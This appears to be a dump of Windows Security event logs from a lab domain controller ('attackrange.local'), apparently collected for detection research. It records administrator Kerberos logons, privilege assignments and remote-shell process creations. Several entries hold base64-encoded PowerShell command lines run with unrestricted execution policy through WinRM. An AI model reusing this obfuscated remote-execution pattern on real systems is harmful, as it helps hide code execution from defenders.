	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:51 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=251781
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{952F54C0-EAA7-7C83-9216-2F8A94550E3A}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:49:51 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=251780
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{952F54C0-EAA7-7C83-9216-2F8A94550E3A}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:49:51 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=251779
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:49:52 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=251887
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x14253C

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xfd0
	New Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xf3c
	Creator Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Process Command Line:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand JgBjAGgAYwBwAC4AYwBvAG0AIAA2ADUAMAAwADEAIAA+ACAAJABuAHUAbABsAAoAJABlAHgAZQBjAF8AdwByAGEAcABwAGUAcgBfAHMAdAByACAAPQAgACQAaQBuAHAAdQB0ACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcACgAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAgAD0AIAAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAF8AcwB0AHIALgBTAHAAbABpAHQAKABAACgAIgBgADAAYAAwAGAAMABgADAAIgApACwAIAAyACwAIABbAFMAdAByAGkAbgBnAFMAcABsAGkAdABPAHAAdABpAG8AbgBzAF0AOgA6AFIAZQBtAG8AdgBlAEUAbQBwAHQAeQBFAG4AdAByAGkAZQBzACkACgBJAGYAIAAoAC0AbgBvAHQAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAuAEwAZQBuAGcAdABoACAALQBlAHEAIAAyACkAIAB7ACAAdABoAHIAbwB3ACAAIgBpAG4AdgBhAGwAaQBkACAAcABhAHkAbABvAGEAZAAiACAAfQAKAFMAZQB0AC0AVgBhAHIAaQBhAGIAbABlACAALQBOAGEAbQBlACAAagBzAG8AbgBfAHIAYQB3ACAALQBWAGEAbAB1AGUAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADEAXQAKACQAZQB4AGUAYwBfAHcAcgBhAHAAcABlAHIAIAA9ACAAWwBTAGMAcgBpAHAAdABCAGwAbwBjAGsAXQA6ADoAQwByAGUAYQB0AGUAKAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADAAXQApAAoAJgAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAA==

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:52 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=251886
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x146D78

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:49:52 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=251885
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x146D78
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{96D2DD71-32E1-E85A-5916-E048AB39A344}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:52 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=251884
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{96D2DD71-32E1-E85A-5916-E048AB39A344}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:49:52 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=251883
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{96D2DD71-32E1-E85A-5916-E048AB39A344}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:49:52 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=251882
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:49:52 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=251881
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x14253C

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xf3c
	New Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x8dc
	Creator Process Name:	C:\Windows\System32\cmd.exe
	Process Command Line:	PowerShell  -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA=

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:52 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=251880
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x14253C

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x8dc
	New Process Name:	C:\Windows\System32\cmd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x12c4
	Creator Process Name:	C:\Windows\System32\winrshost.exe
	Process Command Line:	C:\Windows\system32\cmd.exe /C PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA=

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:52 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=251879
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x146BC5

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:49:52 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=251878
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x146BC5
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{96D2DD71-32E1-E85A-5916-E048AB39A344}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:52 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=251877
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{96D2DD71-32E1-E85A-5916-E048AB39A344}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:49:52 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=251876
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{96D2DD71-32E1-E85A-5916-E048AB39A344}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

